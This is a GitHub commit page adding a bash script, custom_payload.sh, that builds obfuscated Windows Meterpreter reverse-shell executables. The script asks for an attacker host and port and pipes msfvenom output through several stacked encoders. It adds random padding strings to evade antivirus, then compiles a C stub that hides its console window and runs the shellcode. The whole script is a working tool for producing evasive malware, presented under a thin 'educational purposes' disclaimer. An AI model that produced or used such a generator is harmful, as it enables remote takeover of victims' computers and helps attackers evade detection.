Skip to content

Commit 42100d7

Browse files
author
MidnightSeer
authored
Create custom_payload.sh
0 parents  commit 42100d7

File tree

1 file changed

+99
-0
lines changed

1 file changed

+99
-0
lines changed

custom_payload.sh

+99
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
#!/bin/bash
2+
#Created by Alex Williams
3+
#This script is for educational purposes only. I am not responsible for your ignorance/stupidity.
4+
#This code is simple. If you want to update it, please do. But send me a copy and also reference me as an author.
5+
bannr="Custom MSFVenom Executable Generator"
6+
clear
7+
echo $bannr
8+
checkdir="/root/.wine/drive_c/MinGW/bin"
9+
if [ ! -d "$checkdir" ]; then
10+
echo "MinGW for Windows not found on this system. Please install it first."
11+
exit
12+
fi
13+
echo
14+
echo "We're going to generate some shellcode!"
15+
echo "Be sure to take what you want out of the ShellCode folder."
16+
echo
17+
read -p "LHOST: " ip
18+
read -p "LPORT: " lprt
19+
clear
20+
echo $bannr
21+
echo
22+
echo "LHOST set to $ip and the LPORT is set to $lprt."
23+
echo
24+
echo "We will be using the windows/meterpreter/reverse_x payloads."
25+
echo "Which would you like to use?"
26+
read -p "windows/meterpreter/reverse_" listenr
27+
read -p "How many encoding iterations? " enumber
28+
read -p "Okay, and how many lines of 'fluff?' Do not exceed 600. " seed
29+
clear
30+
echo $bannr
31+
echo
32+
echo "Alright, so we're going to be listening on $ip:$lprt with the"
33+
echo "payload windows/meterpreter/reverse_$listenr. You want $enumber"
34+
echo "iterations of encoding with $seed lines of fluff."
35+
read -p "Press any key to continue..."
36+
#Begin generation
37+
directory="/home/unknown/Documents/msfpayloads/shellcode"
38+
if [ ! -d "$directory" ]; then
39+
echo "Creating the ShellCode folder in the metasploit directory..."
40+
mkdir $directory
41+
fi
42+
if test "$(ls -A "$directory")"; then
43+
44+
echo "Cleaning out the ShellCode directory"
45+
rm $directory/*
46+
fi
47+
cd /usr/share/metasploit-framework
48+
echo "Generating shellcode..."
49+
msfvenom -p windows/meterpreter/reverse_${listenr} LHOST=$ip LPORT=$lprt EXITFUNC=process --platform windows -e generic/none -i 1 -a x86 -f raw | msfvenom -p - --platform windows -a x86 -e x86/shikata_ga_nai -i $enumber -f raw | msfvenom -p - --platform windows -a x86 -e x86/jmp_call_additive -i $enumber -f raw | msfvenom -p - --platform windows -a x86 -e x86/call4_dword_xor -i $enumber -f raw | msfvenom -p - --platform windows -a x86 -e x86/shikata_ga_nai -i $enumber -f c -o $directory/test.c
50+
cd /home/unknown/Documents/msfpayloads/shellcode
51+
echo "Shellcode generated."
52+
echo "Cleaning it up..."
53+
sed '1d' test.c > aready.c
54+
echo "unsigned char micro[]=" > var
55+
cat var > ready.c
56+
cat aready.c >> ready.c
57+
echo "Creating Headers..."
58+
echo "#include <stdio.h>" >> temp
59+
echo "#define _WIN32_WINNT 0x0500" >> temp
60+
echo "#include <windows.h>" >> temp
61+
echo 'unsigned char ufs[]=' >> temp
62+
echo "Creating the first bit of fluff"
63+
for (( i=1; i<=10000;i++ )) do echo $RANDOM $i; done | sort -k1| cut -d " " -f2| head -$seed >> temp2
64+
sed -i 's/$/"/' temp2
65+
sed -i 's/^/"/' temp2
66+
echo ';' >> temp2
67+
cat temp2 >> temp
68+
cat ready.c >> temp
69+
mv temp ready2.c
70+
echo ";" >> ready2.c
71+
echo "Creating the execution bit..."
72+
echo "int main(void) { " >> ready2.c
73+
echo "HWND hWnd = GetConsoleWindow();" >> ready2.c
74+
echo "ShowWindow( hWnd, SW_HIDE );((void (*)())micro)();}" >> ready2.c
75+
mv ready2.c final.c
76+
echo "Creating the last bit of fluff..."
77+
echo 'unsigned char tap[]=' > temp3
78+
for (( i=1; i<=999999;i++ )) do echo $RANDOM $i; done | sort -k1| cut -d " " -f2| head -$seed >> temp4
79+
sed -i 's/$/"/' temp4
80+
sed -i 's/^/"/' temp4
81+
echo ';' >> temp4
82+
cat temp4 >> temp3
83+
echo "Merging the last of it together..."
84+
cat temp3 >> final.c
85+
outdir="/root/out"
86+
if [ ! -d "$outdir" ]; then
87+
echo "Creating the out folder in the root directory..."
88+
mkdir $outdir
89+
fi
90+
cd /root/.wine/drive_c/MinGW/bin/
91+
wine gcc.exe -o /home/unknown/Documents/msfpayloads/out/final.exe /home/unknown/Documents/msfpayloads/shellcode/final.c -lwsock32
92+
cd /home/unknown/Documents/msfpayloads/out/
93+
mv final.exe "$listenr-$lprt-$RANDOM.exe"
94+
filex=`ls -ct1 | head -1`
95+
sumx=`sha1sum $filex`
96+
echo $filex "SHA-1 Checksum is .." $sumx
97+
strip --strip-debug $filex
98+
echo "Done!"
99+

0 commit comments

Comments
 (0)